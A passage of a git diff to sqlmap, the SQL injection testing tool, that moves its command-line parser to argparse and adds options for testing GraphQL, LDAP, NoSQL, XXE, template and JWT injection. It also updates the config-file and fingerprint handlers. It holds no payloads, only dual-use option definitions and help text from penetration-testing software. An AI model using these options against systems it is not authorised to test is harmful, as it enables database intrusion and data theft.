dest="binaryFields", + help="Result fields having binary values (e.g. \"digest\")") - #general.add_option("-x", dest="xmlFile", - # help="Dump the data into an XML file") + general.add_argument("--check-internet", dest="checkInternet", action="store_true", + help="Check Internet connection before assessing the target") - general.add_option("-s", dest="sessionFile", - help="Load session from a stored (.sqlite) file") + general.add_argument("--cleanup", dest="cleanup", action="store_true", + help="Clean up the DBMS from sqlmap specific UDF and tables") - general.add_option("-t", dest="trafficFile", - help="Log all HTTP traffic into a " - "textual file") + general.add_argument("--crawl", dest="crawlDepth", type=int, + help="Crawl the website starting from the target URL") - general.add_option("--batch", dest="batch", - action="store_true", - help="Never ask for user input, use the default behaviour") + general.add_argument("--crawl-exclude", dest="crawlExclude", + help="Regexp to exclude pages from crawling (e.g. \"logout\")") - general.add_option("--charset", dest="charset", - help="Force character encoding used for data retrieval") + general.add_argument("--csv-del", dest="csvDel", + help="Delimiting character used in CSV output (default \"%s\")" % defaults.csvDel) - general.add_option("--crawl", dest="crawlDepth", type="int", - help="Crawl the website starting from the target URL") + general.add_argument("--charset", dest="charset", + help="Blind SQL injection charset (e.g. \"0123456789abcdef\")") - general.add_option("--crawl-exclude", dest="crawlExclude", - help="Regexp to exclude pages from crawling (e.g. \"logout\")") + general.add_argument("--dump-file", dest="dumpFile", + help="Store dumped data to a custom file") - general.add_option("--csv-del", dest="csvDel", - help="Delimiting character used in CSV output " - "(default \"%s\")" % defaults.csvDel) + general.add_argument("--dump-format", dest="dumpFormat", + help="Dump data format (CSV (default), HTML, SQLITE, JSONL)") - general.add_option("--dump-format", dest="dumpFormat", - help="Format of dumped data (CSV (default), HTML or SQLITE)") + general.add_argument("--encoding", dest="encoding", + help="Character encoding used for data retrieval (e.g. GBK)") - general.add_option("--eta", dest="eta", - action="store_true", - help="Display for each output the " - "estimated time of arrival") + general.add_argument("--eta", dest="eta", action="store_true", + help="Display for each output the estimated time of arrival") - general.add_option("--flush-session", dest="flushSession", - action="store_true", - help="Flush session files for current target") + general.add_argument("--flush-session", dest="flushSession", action="store_true", + help="Flush session files for current target") - general.add_option("--forms", dest="forms", - action="store_true", - help="Parse and test forms on target URL") + general.add_argument("--forms", dest="forms", action="store_true", + help="Parse and test forms on target URL") - general.add_option("--fresh-queries", dest="freshQueries", - action="store_true", - help="Ignore query results stored in session file") + general.add_argument("--mine-params", dest="mineParams", action="store_true", + help="Mine for hidden (unlinked) GET parameters to test") - general.add_option("--hex", dest="hexConvert", - action="store_true", - help="Use DBMS hex function(s) for data retrieval") + general.add_argument("--fresh-queries", dest="freshQueries", action="store_true", + help="Ignore query results stored in session file") - general.add_option("--output-dir", dest="outputDir", - action="store", - help="Custom output directory path") + general.add_argument("--gpage", dest="googlePage", type=int, + help="Use Google dork results from specified page number") - general.add_option("--parse-errors", dest="parseErrors", - action="store_true", - help="Parse and display DBMS error messages from responses") + general.add_argument("--har", dest="harFile", + help="Log all HTTP traffic into a HAR file") - general.add_option("--pivot-column", dest="pivotColumn", - help="Pivot column name") + general.add_argument("--hex", dest="hexConvert", action="store_true", + help="Use hex conversion during data retrieval") - general.add_option("--save", dest="saveConfig", - help="Save options to a configuration INI file") + general.add_argument("--output-dir", dest="outputDir", action="store", + help="Custom output directory path") - general.add_option("--scope", dest="scope", - help="Regexp to filter targets from provided proxy log") + general.add_argument("--parse-errors", dest="parseErrors", action="store_true", + help="Parse and display DBMS error messages from responses") - general.add_option("--test-filter", dest="testFilter", - help="Select tests by payloads and/or titles (e.g. ROW)") + general.add_argument("--preprocess", dest="preprocess", + help="Use given script(s) for preprocessing (request)") - general.add_option("--test-skip", dest="testSkip", - help="Skip tests by payloads and/or titles (e.g. BENCHMARK)") + general.add_argument("--postprocess", dest="postprocess", + help="Use given script(s) for postprocessing (response)") - general.add_option("--update", dest="updateAll", - action="store_true", - help="Update sqlmap") + general.add_argument("--repair", dest="repair", action="store_true", + help="Redump entries having unknown character marker (%s)" % INFERENCE_UNKNOWN_CHAR) + + general.add_argument("--report-json", dest="reportJson", + help="Store run results to a JSON file") + + general.add_argument("--save", dest="saveConfig", + help="Save options to a configuration INI file") + + general.add_argument("--scope", dest="scope", + help="Regexp for filtering targets") + + general.add_argument("--skip-heuristics", dest="skipHeuristics", action="store_true", + help="Skip heuristic detection of vulnerabilities") + + general.add_argument("--skip-waf", dest="skipWaf", action="store_true", + help="Skip heuristic detection of WAF/IPS protection") + + general.add_argument("--table-prefix", dest="tablePrefix", + help="Prefix used for temporary tables (default: \"%s\")" % defaults.tablePrefix) + + general.add_argument("--test-filter", dest="testFilter", + help="Select tests by payloads and/or titles (e.g. ROW)") + + general.add_argument("--test-skip", dest="testSkip", + help="Skip tests by payloads and/or titles (e.g. BENCHMARK)") + + general.add_argument("--time-limit", dest="timeLimit", type=float, + help="Run with a time limit in seconds (e.g. 3600)") + + general.add_argument("--unsafe-naming", dest="unsafeNaming", action="store_true", + help="Disable escaping of DBMS identifiers (e.g. \"user\")") + + general.add_argument("--web-root", dest="webRoot", + help="Web server document root directory (e.g. \"/var/www\")") + + # Non-SQL injection options + nonsql = parser.add_argument_group("Non-SQL injection", "These options can be used to test for non-SQL injection types") + + nonsql.add_argument("--graphql", dest="graphql", action="store_true", + help="Test for GraphQL injection") + + nonsql.add_argument("--ldap", dest="ldap", action="store_true", + help="Test for LDAP injection") + + nonsql.add_argument("--nosql", dest="nosql", action="store_true", + help="Test for NoSQL injection") + + nonsql.add_argument("--xpath", dest="xpath", action="store_true", + help="Test for XPath injection") + + nonsql.add_argument("--ssti", dest="ssti", action="store_true", + help="Test for server-side template injection") + + nonsql.add_argument("--xxe", dest="xxe", action="store_true", + help="Test for XML External Entity (XXE) injection") + + nonsql.add_argument("--hql", dest="hql", action="store_true", + help="Test for HQL/JPQL (Hibernate ORM) injection") + + nonsql.add_argument("--jwt", dest="jwt", action="store_true", + help="Audit JSON Web Tokens (JWT) for weaknesses") + + nonsql.add_argument("--oob-server", dest="oobServer", + help="Out-of-band server for blind '--xxe'") + + nonsql.add_argument("--oob-token", dest="oobToken", + help="Authentication token for a self-hosted '--oob-server'") # Miscellaneous options - miscellaneous = OptionGroup(parser, "Miscellaneous") + miscellaneous = parser.add_argument_group("Miscellaneous", "These options do not fit into any other category") + + miscellaneous.add_argument("-z", dest="mnemonics", + help="Use short mnemonics (e.g. \"flu,bat,ban,tec=EU\")") + + miscellaneous.add_argument("--alert", dest="alert", + help="Run host OS command(s) when SQL injection is found") - miscellaneous.add_option("-z", dest="mnemonics", - help="Use short mnemonics (e.g. \"flu,bat,ban,tec=EU\")") + miscellaneous.add_argument("--beep", dest="beep", action="store_true", + help="Beep on question and/or when vulnerability is found") - miscellaneous.add_option("--alert", dest="alert", - help="Run host OS command(s) when SQL injection is found") + miscellaneous.add_argument("--dependencies", dest="dependencies", action="store_true", + help="Check for missing (optional) sqlmap dependencies") - miscellaneous.add_option("--answers", dest="answers", - help="Set question answers (e.g. \"quit=N,follow=N\")") + miscellaneous.add_argument("--disable-coloring", dest="disableColoring", action="store_true", + help="Disable console output coloring") - miscellaneous.add_option("--beep", dest="beep", action="store_true", - help="Beep on question and/or when SQL injection is found") + miscellaneous.add_argument("--disable-hashing", dest="disableHashing", action="store_true", + help="Disable hash analysis on table dumps") - miscellaneous.add_option("--cleanup", dest="cleanup", - action="store_true", - help="Clean up the DBMS from sqlmap specific " - "UDF and tables") + miscellaneous.add_argument("--gui", dest="gui", action="store_true", + help="Graphical user interface (Tkinter)") - miscellaneous.add_option("--dependencies", dest="dependencies", - action="store_true", - help="Check for missing (non-core) sqlmap dependencies") + miscellaneous.add_argument("--list-tampers", dest="listTampers", action="store_true", + help="Display list of available tamper scripts") - miscellaneous.add_option("--disable-coloring", dest="disableColoring", - action="store_true", - help="Disable console output coloring") + miscellaneous.add_argument("--no-logging", dest="noLogging", action="store_true", + help="Disable logging to a file") - miscellaneous.add_option("--gpage", dest="googlePage", type="int", - help="Use Google dork results from specified page number") + miscellaneous.add_argument("--no-truncate", dest="noTruncate", action="store_true", + help="Disable console output truncation (e.g. long entr...)") - miscellaneous.add_option("--identify-waf", dest="identifyWaf", - action="store_true", - help="Make a thorough testing for a WAF/IPS/IDS protection") + miscellaneous.add_argument("--offline", dest="offline", action="store_true", + help="Work in offline mode (only use session data)") - miscellaneous.add_option("--skip-waf", dest="skipWaf", - action="store_true", - help="Skip heuristic detection of WAF/IPS/IDS protection") + miscellaneous.add_argument("--purge", dest="purge", action="store_true", + help="Safely remove all content from sqlmap data directory") - miscellaneous.add_option("--mobile", dest="mobile", - action="store_true", - help="Imitate smartphone through HTTP User-Agent header") + miscellaneous.add_argument("--results-file", dest="resultsFile", + help="Location of CSV results file in multiple targets mode") - miscellaneous.add_option("--offline", dest="offline", - action="store_true", - help="Work in offline mode (only use session data)") + miscellaneous.add_argument("--shell", dest="shell", action="store_true", + help="Prompt for an interactive sqlmap shell") - miscellaneous.add_option("--page-rank", dest="pageRank", - action="store_true", - help="Display page rank (PR) for Google dork results") + miscellaneous.add_argument("--tmp-dir", dest="tmpDir", + help="Local directory for storing temporary files") - miscellaneous.add_option("--purge-output", dest="purgeOutput", - action="store_true", - help="Safely remove all content from output directory") + miscellaneous.add_argument("--tui", dest="tui", action="store_true", + help="Textual user interface (ncurses)") - miscellaneous.add_option("--smart", dest="smart", - action="store_true", - help="Conduct thorough tests only if positive heuristic(s)") + miscellaneous.add_argument("--unstable", dest="unstable", action="store_true", + help="Adjust options for unstable connections") - miscellaneous.add_option("--sqlmap-shell", dest="sqlmapShell", action="store_true", - help="Prompt for an interactive sqlmap shell") + miscellaneous.add_argument("--update", dest="updateAll", action="store_true", + help="Update sqlmap") - miscellaneous.add_option("--wizard", dest="wizard", - action="store_true", - help="Simple wizard interface for beginner users") + miscellaneous.add_argument("--wizard", dest="wizard", action="store_true", + help="Simple wizard interface for beginner users") # Hidden and/or experimental options - parser.add_option("--dummy", dest="dummy", action="store_true", - help=SUPPRESS_HELP) + parser.add_argument("--crack", dest="hashFile", + help=SUPPRESS) # "Load and crack hashes from a file (standalone)" - parser.add_option("--pickled-options", dest="pickledOptions", - help=SUPPRESS_HELP) + parser.add_argument("--dummy", dest="dummy", action="store_true", + help=SUPPRESS) - parser.add_option("--profile", dest="profile", action="store_true", - help=SUPPRESS_HELP) + parser.add_argument("--yuge", dest="yuge", action="store_true", + help=SUPPRESS) - parser.add_option("--binary-fields", dest="binaryFields", - help=SUPPRESS_HELP) + parser.add_argument("--murphy-rate", dest="murphyRate", type=int, + help=SUPPRESS) - parser.add_option("--cpu-throttle", dest="cpuThrottle", type="int", - help=SUPPRESS_HELP) + parser.add_argument("--debug", dest="debug", action="store_true", + help=SUPPRESS) - parser.add_option("--force-dns", dest="forceDns", action="store_true", - help=SUPPRESS_HELP) + parser.add_argument("--deprecations", dest="deprecations", action="store_true", + help=SUPPRESS) - parser.add_option("--force-threads", dest="forceThreads", action="store_true", - help=SUPPRESS_HELP) + parser.add_argument("--disable-multi", dest="disableMulti", action="store_true", + help=SUPPRESS) - parser.add_option("--smoke-test", dest="smokeTest", action="store_true", - help=SUPPRESS_HELP) + parser.add_argument("--disable-precon", dest="disablePrecon", action="store_true", + help=SUPPRESS) - parser.add_option("--live-test", dest="liveTest", action="store_true", - help=SUPPRESS_HELP) + parser.add_argument("--no-huffman", dest="noHuffman", action="store_true", + help=SUPPRESS) # "Disable adaptive (Huffman) set-membership retrieval used by default to speed up blind table dumps" - parser.add_option("--stop-fail", dest="stopFail", action="store_true", - help=SUPPRESS_HELP) + parser.add_argument("--profile", dest="profile", action="store_true", + help=SUPPRESS) - parser.add_option("--run-case", dest="runCase", help=SUPPRESS_HELP) + parser.add_argument("--localhost", dest="localhost", action="store_true", + help=SUPPRESS) - parser.add_option("--nnc5ed", dest="nnc5ed", action="store_true", - help=SUPPRESS_HELP) # temporary hidden switch :) + parser.add_argument("--force-dbms", dest="forceDbms", + help=SUPPRESS) - parser.add_option_group(target) - parser.add_option_group(request) - parser.add_option_group(optimization) - parser.add_option_group(injection) - parser.add_option_group(detection) - parser.add_option_group(techniques) - parser.add_option_group(fingerprint) - parser.add_option_group(enumeration) - parser.add_option_group(brute) - parser.add_option_group(udf) - parser.add_option_group(filesystem) - parser.add_option_group(takeover) - parser.add_option_group(windows) - parser.add_option_group(general) - parser.add_option_group(miscellaneous) + parser.add_argument("--force-dns", dest="forceDns", action="store_true", + help=SUPPRESS) - # Dirty hack to display longer options without breaking into two lines - def _(self, *args): - _ = parser.formatter._format_option_strings(*args) - if len(_) > MAX_HELP_OPTION_LENGTH: - _ = ("%%.%ds.." % (MAX_HELP_OPTION_LENGTH - parser.formatter.indent_increment)) % _ - return _ + parser.add_argument("--force-partial", dest="forcePartial", action="store_true", + help=SUPPRESS) + + parser.add_argument("--force-pivoting", dest="forcePivoting", action="store_true", + help=SUPPRESS) + + # Experimental: dump table rows via keyset (seek) pagination on a detected indexed + # primary key instead of ORDER BY ... LIMIT/OFFSET (much cheaper on huge tables). + # --keyset forces it for any table size; --no-keyset disables it (incl. the automatic + # use on large tables), falling back to the plain LIMIT/OFFSET dump. + parser.add_argument("--keyset", dest="keyset", action="store_true", + help=SUPPRESS) + + parser.add_argument("--no-keyset", dest="noKeyset", action="store_true", + help=SUPPRESS) + + parser.add_argument("--ignore-stdin", dest="ignoreStdin", action="store_true", + help=SUPPRESS) + + parser.add_argument("--non-interactive", dest="nonInteractive", action="store_true", + help=SUPPRESS) + + parser.add_argument("--smoke-test", "--doc-test", dest="smokeTest", action="store_true", + help=SUPPRESS) - parser.formatter._format_option_strings = parser.formatter.format_option_strings - parser.formatter.format_option_strings = type(parser.formatter.format_option_strings)(_, parser, type(parser)) + parser.add_argument("--vuln-test", dest="vulnTest", action="store_true", + help=SUPPRESS) - # Dirty hack for making a short option -hh - option = parser.get_option("--hh") - option._short_opts = ["-hh"] - option._long_opts = [] + parser.add_argument("--fp-test", dest="fpTest", action="store_true", + help=SUPPRESS) - # Dirty hack for inherent help message of switch -h - option = parser.get_option("-h") - option.help = option.help.capitalize().replace("this help", "basic help") + parser.add_argument("--payload-lint", dest="payloadLint", action="store_true", + help=SUPPRESS) + + parser.add_argument("--api-test", dest="apiTest", action="store_true", + help=SUPPRESS) + + parser.add_argument("--disable-json", dest="disableJson", action="store_true", + help=SUPPRESS) + + # API options + parser.add_argument("--api", dest="api", action="store_true", + help=SUPPRESS) + + parser.add_argument("--taskid", dest="taskid", + help=SUPPRESS) + + parser.add_argument("--database", dest="database", + help=SUPPRESS) + + # Dirty hack to display longer options without breaking into two lines + if hasattr(parser, "formatter"): + def _(self, *args): + retVal = parser.formatter._format_option_strings(*args) + if len(retVal) > MAX_HELP_OPTION_LENGTH: + retVal = ("%%.%ds.." % (MAX_HELP_OPTION_LENGTH - parser.formatter.indent_increment)) % retVal + return retVal + + parser.formatter._format_option_strings = parser.formatter.format_option_strings + parser.formatter.format_option_strings = type(parser.formatter.format_option_strings)(_, parser) + else: + def _format_action_invocation(self, action): + retVal = self.__format_action_invocation(action) + if len(retVal) > MAX_HELP_OPTION_LENGTH: + retVal = ("%%.%ds.." % (MAX_HELP_OPTION_LENGTH - self._indent_increment)) % retVal + return retVal + + parser.formatter_class.__format_action_invocation = parser.formatter_class._format_action_invocation + parser.formatter_class._format_action_invocation = _format_action_invocation + + # Dirty hack for making a short option '-hh' + if hasattr(parser, "get_option"): + option = parser.get_option("--hh") + option._short_opts = ["-hh"] + option._long_opts = [] + else: + for action in get_actions(parser): + if action.option_strings == ["--hh"]: + action.option_strings = ["-hh"] + break + + # Dirty hack for inherent help message of switch '-h' + if hasattr(parser, "get_option"): + option = parser.get_option("-h") + option.help = option.help.capitalize().replace("this help", "basic help") + else: + for action in get_actions(parser): + if action.option_strings == ["-h", "--help"]: + action.help = action.help.capitalize().replace("this help", "basic help") + break _ = [] - prompt = False advancedHelp = True extraHeaders = [] + auxIndexes = {} + # Reference: https://stackoverflow.com/a/4012683 (Note: previously used "...sys.getfilesystemencoding() or UNICODE_ENCODING") for arg in argv: - _.append(getUnicode(arg, encoding=sys.getfilesystemencoding())) + _.append(getUnicode(arg, encoding=sys.stdin.encoding)) argv = _ - checkDeprecatedOptions(argv) + checkOldOptions(argv) - prompt = "--sqlmap-shell" in argv + if "--gui" in argv: + from lib.utils.gui import runGui - if prompt: - parser.usage = "" - cmdLineOptions.sqlmapShell = True + runGui(parser) + + raise SqlmapSilentQuitException + + elif "--tui" in argv: + from lib.utils.tui import runTui + + runTui(parser) - _ = ["x", "q", "exit", "quit", "clear"] + raise SqlmapSilentQuitException - for option in parser.option_list: - _.extend(option._long_opts) - _.extend(option._short_opts) + elif "--shell" in argv: + _createHomeDirectories() - for group in parser.option_groups: - for option in group.option_list: - _.extend(option._long_opts) - _.extend(option._short_opts) + parser.usage = "" + cmdLineOptions.sqlmapShell = True - autoCompletion(AUTOCOMPLETE_TYPE.SQLMAP, commands=_) + commands = set(("x", "q", "exit", "quit", "clear")) + commands.update(get_all_options(parser)) + + autoCompletion(AUTOCOMPLETE_TYPE.SQLMAP, commands=commands) while True: command = None + prompt = "sqlmap > " try: - command = raw_input("sqlmap-shell> ").strip() - command = getUnicode(command, encoding=sys.stdin.encoding) + # Note: in Python2 command should not be converted to Unicode before passing to shlex (Reference: https://bugs.python.org/issue1170) + command = _input(prompt).strip() except (KeyboardInterrupt, EOFError): - print + print() raise SqlmapShellQuitException + command = re.sub(r"(?i)\Anew\s+", "", command or "") + if not command: continue elif command.lower() == "clear": - clearHistory() - print "[i] history cleared" + clearHistory() + dataToStdout("[i] history cleared\n") saveHistory(AUTOCOMPLETE_TYPE.SQLMAP) elif command.lower() in ("x", "q", "exit", "quit"): raise SqlmapShellQuitException elif command[0] != '-': - print "[!] invalid option(s) provided" - print "[i] proper example: '-u http://www.site.com/vuln.php?id=1 --banner'" + if not re.search(r"(?i)\A(\?|help)\Z", command): + dataToStdout("[!] invalid option(s) provided\n") + dataToStdout("[i] valid example: '-u http://www.site.com/vuln.php?id=1 --banner'\n") else: saveHistory(AUTOCOMPLETE_TYPE.SQLMAP) loadHistory(AUTOCOMPLETE_TYPE.SQLMAP) @@ -877,44 +1078,115 @@ def _(self, *args): try: for arg in shlex.split(command): argv.append(getUnicode(arg, encoding=sys.stdin.encoding)) - except ValueError, ex: - raise SqlmapSyntaxException, "something went wrong during command line parsing ('%s')" % ex.message + except ValueError as ex: + raise SqlmapSyntaxException("something went wrong during command line parsing ('%s')" % getSafeExString(ex)) + + longOptions = set(re.findall(r"\-\-([^= ]+?)=", parser.format_help())) + longSwitches = set(re.findall(r"\-\-([^= ]+?)\s", parser.format_help())) - # Hide non-basic options in basic help case for i in xrange(len(argv)): + # Reference: https://en.wiktionary.org/wiki/- + argv[i] = re.sub(u"\\A(\u2010|\u2013|\u2212|\u2014|\u4e00|\u1680|\uFE63|\uFF0D)+", lambda match: '-' * len(match.group(0)), argv[i]) + + # Reference: https://unicode-table.com/en/sets/quotation-marks/ + argv[i] = argv[i].strip(u"\u00AB\u2039\u00BB\u203A\u201E\u201C\u201F\u201D\u2019\u275D\u275E\u276E\u276F\u2E42\u301D\u301E\u301F\uFF02\u201A\u2018\u201B\u275B\u275C") + if argv[i] == "-hh": argv[i] = "-h" + elif i == 1 and re.search(r"\A(http|www\.|\w[\w.-]+\.\w{2,})", argv[i]) is not None: + argv[i] = "--url=%s" % argv[i] + elif len(argv[i]) > 1 and all(ord(_) in xrange(0x2018, 0x2020) for _ in ((argv[i].split('=', 1)[-1].strip() or ' ')[0], argv[i][-1])): + dataToStdout("[!] copy-pasting illegal (non-console) quote characters from Internet is illegal (%s)\n" % argv[i]) + raise SystemExit + elif len(argv[i]) > 1 and u"\uff0c" in argv[i].split('=', 1)[-1]: + dataToStdout("[!] copy-pasting illegal (non-console) comma characters from Internet is illegal (%s)\n" % argv[i]) + raise SystemExit elif re.search(r"\A-\w=.+", argv[i]): - print "[!] potentially miswritten (illegal '=') short option detected ('%s')" % argv[i] - elif argv[i] == "-H": - if i + 1 < len(argv): + dataToStdout("[!] potentially miswritten (illegal '=') short option detected ('%s')\n" % argv[i]) + raise SystemExit + elif re.search(r"\A-\w{3,}", argv[i]): + if argv[i].strip('-').split('=')[0] in (longOptions | longSwitches): + argv[i] = "-%s" % argv[i] + elif argv[i] in IGNORED_OPTIONS: + argv[i] = "" + elif argv[i] in DEPRECATED_OPTIONS: + argv[i] = "" + elif argv[i] in ("-s", "--silent"): + if i + 1 < len(argv) and argv[i + 1].startswith('-') or i + 1 == len(argv): + argv[i] = "" + conf.verbose = 0 + elif argv[i].startswith("--data-raw"): + argv[i] = argv[i].replace("--data-raw", "--data", 1) + elif argv[i].startswith("--auth-creds"): + argv[i] = argv[i].replace("--auth-creds", "--auth-cred", 1) + elif argv[i].startswith("--drop-cookie"): + argv[i] = argv[i].replace("--drop-cookie", "--drop-set-cookie", 1) + elif re.search(r"\A--tamper[^=\s]", argv[i]): + argv[i] = "" + elif re.search(r"\A(--(tamper|ignore-code|skip))(?!-)", argv[i]): + key = re.search(r"\-?\-(\w+)\b", argv[i]).group(1) + index = auxIndexes.get(key, None) + if index is None: + index = i if '=' in argv[i] else (i + 1 if i + 1 < len(argv) and not argv[i + 1].startswith('-') else None) + auxIndexes[key] = index + else: + delimiter = ',' + argv[index] = "%s%s%s" % (argv[index], delimiter, argv[i].split('=')[1] if '=' in argv[i] else (argv[i + 1] if i + 1 < len(argv) and not argv[i + 1].startswith('-') else "")) + argv[i] = "" + elif argv[i] in ("-H", "--header") or any(argv[i].startswith("%s=" % _) for _ in ("-H", "--header")): + if '=' in argv[i]: + extraHeaders.append(argv[i].split('=', 1)[1]) + elif i + 1 < len(argv): extraHeaders.append(argv[i + 1]) + elif argv[i] == "--deps": + argv[i] = "--dependencies" + elif argv[i] == "--disable-colouring": + argv[i] = "--disable-coloring" + elif argv[i] == "-r": + for j in xrange(i + 2, len(argv)): + value = argv[j] + if os.path.isfile(value): + argv[i + 1] += ",%s" % value + argv[j] = '' + else: + break elif re.match(r"\A\d+!\Z", argv[i]) and argv[max(0, i - 1)] == "--threads" or re.match(r"\A--threads.+\d+!\Z", argv[i]): argv[i] = argv[i][:-1] conf.skipThreadCheck = True elif argv[i] == "--version": - print VERSION_STRING.split('/')[-1] + print(VERSION_STRING.split('/')[-1]) raise SystemExit - elif argv[i] == "-h": + elif argv[i] in ("-h", "--help"): advancedHelp = False - for group in parser.option_groups[:]: + for group in get_groups(parser)[:]: found = False - for option in group.option_list: + for option in get_actions(group): if option.dest not in BASIC_HELP_ITEMS: - option.help = SUPPRESS_HELP + option.help = SUPPRESS else: found = True if not found: - parser.option_groups.remove(group) + get_groups(parser).remove(group) + elif '=' in argv[i] and not argv[i].startswith('-') and argv[i].split('=')[0] in longOptions and re.search(r"\A-{1,2}\w", argv[i - 1]) is None: + dataToStdout("[!] detected usage of long-option without a starting hyphen ('%s')\n" % argv[i]) + raise SystemExit + + for verbosity in (_ for _ in argv if re.search(r"\A\-v+\Z", _)): + try: + if argv.index(verbosity) == len(argv) - 1 or not argv[argv.index(verbosity) + 1].isdigit(): + conf.verbose = verbosity.count('v') + del argv[argv.index(verbosity)] + except (IndexError, ValueError): + pass try: - (args, _) = parser.parse_args(argv) - except UnicodeEncodeError, ex: - print "\n[!] %s" % ex.object.encode("unicode-escape") + (args, _) = parser.parse_known_args(argv) if hasattr(parser, "parse_known_args") else parser.parse_args(argv) + except UnicodeEncodeError as ex: + dataToStdout("\n[!] %s\n" % getUnicode(ex.object.encode("unicode-escape"))) raise SystemExit except SystemExit: if "-h" in argv and not advancedHelp: - print "\n[!] to see full list of options run with '-hh'" + dataToStdout("\n[!] to see full list of options run with '-hh'\n") raise if extraHeaders: @@ -931,23 +1203,26 @@ def _(self, *args): if args.dummy: args.url = args.url or DUMMY_URL - if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, \ - args.requestFile, args.updateAll, args.smokeTest, args.liveTest, args.wizard, args.dependencies, \ - args.purgeOutput, args.pickledOptions, args.sitemapUrl)): - errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, -x, --wizard, --update, --purge-output or --dependencies), " - errMsg += "use -h for basic or -hh for advanced help" + if hasattr(sys.stdin, "fileno") and not any((os.isatty(sys.stdin.fileno()), args.api, args.ignoreStdin, "GITHUB_ACTIONS" in os.environ)): + args.stdinPipe = iter(sys.stdin.readline, None) + else: + args.stdinPipe = None + + if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.openApiFile, args.updateAll, args.smokeTest, args.vulnTest, args.fpTest, args.payloadLint, args.apiTest, args.wizard, args.dependencies, args.purge, args.listTampers, args.hashFile, args.stdinPipe)): + errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, --wizard, --shell, --update, --purge, --list-tampers or --dependencies). " + errMsg += "Use -h for basic and -hh for advanced help\n" parser.error(errMsg) return args - except (OptionError, TypeError), e: - parser.error(e) + except (ArgumentError, TypeError) as ex: + parser.error(ex) except SystemExit: # Protection against Windows dummy double clicking - if IS_WIN: - print "\nPress Enter to continue...", - raw_input() + if IS_WIN and "--non-interactive" not in sys.argv: + dataToStdout("\nPress Enter to continue...") + _input() raise debugMsg = "parsing command line" diff --git a/lib/parse/configfile.py b/lib/parse/configfile.py index d18f874544a..88f91ce7828 100644 --- a/lib/parse/configfile.py +++ b/lib/parse/configfile.py @@ -1,41 +1,43 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ from lib.core.common import checkFile from lib.core.common import getSafeExString -from lib.core.common import getUnicode from lib.core.common import openFile from lib.core.common import unArrayizeValue from lib.core.common import UnicodeRawConfigParser +from lib.core.convert import getUnicode +from lib.core.data import cmdLineOptions from lib.core.data import conf from lib.core.data import logger +from lib.core.enums import OPTION_TYPE from lib.core.exception import SqlmapMissingMandatoryOptionException from lib.core.exception import SqlmapSyntaxException from lib.core.optiondict import optDict config = None -def configFileProxy(section, option, boolean=False, integer=False): +def configFileProxy(section, option, datatype): """ Parse configuration file and save settings into the configuration advanced dictionary. """ - global config - if config.has_option(section, option): try: - if boolean: + if datatype == OPTION_TYPE.BOOLEAN: value = config.getboolean(section, option) if config.get(section, option) else False - elif integer: + elif datatype == OPTION_TYPE.INTEGER: value = config.getint(section, option) if config.get(section, option) else 0 + elif datatype == OPTION_TYPE.FLOAT: + value = config.getfloat(section, option) if config.get(section, option) else 0.0 else: value = config.get(section, option) - except ValueError, ex: + except ValueError as ex: errMsg = "error occurred while processing the option " errMsg += "'%s' in provided configuration file ('%s')" % (option, getUnicode(ex)) raise SqlmapSyntaxException(errMsg) @@ -62,38 +64,37 @@ def configFileParser(configFile): logger.debug(debugMsg) checkFile(configFile) - configFP = openFile(configFile, "rb") + configFP = openFile(configFile, 'r') try: config = UnicodeRawConfigParser() - config.readfp(configFP) - except Exception, ex: + if hasattr(config, "read_file"): + config.read_file(configFP) + else: + config.readfp(configFP) + except Exception as ex: errMsg = "you have provided an invalid and/or unreadable configuration file ('%s')" % getSafeExString(ex) raise SqlmapSyntaxException(errMsg) + finally: + configFP.close() if not config.has_section("Target"): errMsg = "missing a mandatory section 'Target' in the configuration file" raise SqlmapMissingMandatoryOptionException(errMsg) - condition = not config.has_option("Target", "direct") - condition &= not config.has_option("Target", "url") - condition &= not config.has_option("Target", "logFile") - condition &= not config.has_option("Target", "bulkFile") - condition &= not config.has_option("Target", "googleDork") - condition &= not config.has_option("Target", "requestFile") - condition &= not config.has_option("Target", "sitemapUrl") - condition &= not config.has_option("Target", "wizard") + mandatory = False - if condition: + for option in ("direct", "url", "logFile", "bulkFile", "googleDork", "requestFile", "wizard"): + if config.has_option("Target", option) and config.get("Target", option) or cmdLineOptions.get(option): + mandatory = True + break + + if not mandatory: errMsg = "missing a mandatory option in the configuration file " - errMsg += "(direct, url, logFile, bulkFile, googleDork, requestFile, sitemapUrl or wizard)" + errMsg += "(direct, url, logFile, bulkFile, googleDork, requestFile or wizard)" raise SqlmapMissingMandatoryOptionException(errMsg) for family, optionData in optDict.items(): for option, datatype in optionData.items(): datatype = unArrayizeValue(datatype) - - boolean = datatype == "boolean" - integer = datatype == "integer" - - configFileProxy(family, option, boolean, integer) + configFileProxy(family, option, datatype) diff --git a/lib/parse/handler.py b/lib/parse/handler.py index 04950ecbd74..f97bf5c7759 100644 --- a/lib/parse/handler.py +++ b/lib/parse/handler.py @@ -1,13 +1,14 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import re from xml.sax.handler import ContentHandler + from lib.core.common import sanitizeStr class FingerprintHandler(ContentHandler): @@ -19,7 +20,7 @@ class FingerprintHandler(ContentHandler): def __init__(self, banner, info): ContentHandler.__init__(self) - self._banner = sanitizeStr(banner) + self._banner = sanitizeStr(banner or "") self._regexp = None self._match = None self._dbmsVersion = None @@ -29,13 +30,13 @@ def __init__(self, banner, info): def _feedInfo(self, key, value): value = sanitizeStr(value) - if value in (None, "None"): + if value in (None, "None", ""): return if key == "dbmsVersion": self._info[key] = value else: - if key not in self._info.keys(): + if key not in self._info: self._info[key] = set() for _ in value.split("|"): @@ -44,9 +45,9 @@ def _feedInfo(self, key, value): def startElement(self, name, attrs): if name == "regexp": self._regexp = sanitizeStr(attrs.get("value")) - _ = re.match("\A[A-Za-z0-9]+", self._regexp) # minor trick avoiding compiling of large amount of regexes + _ = 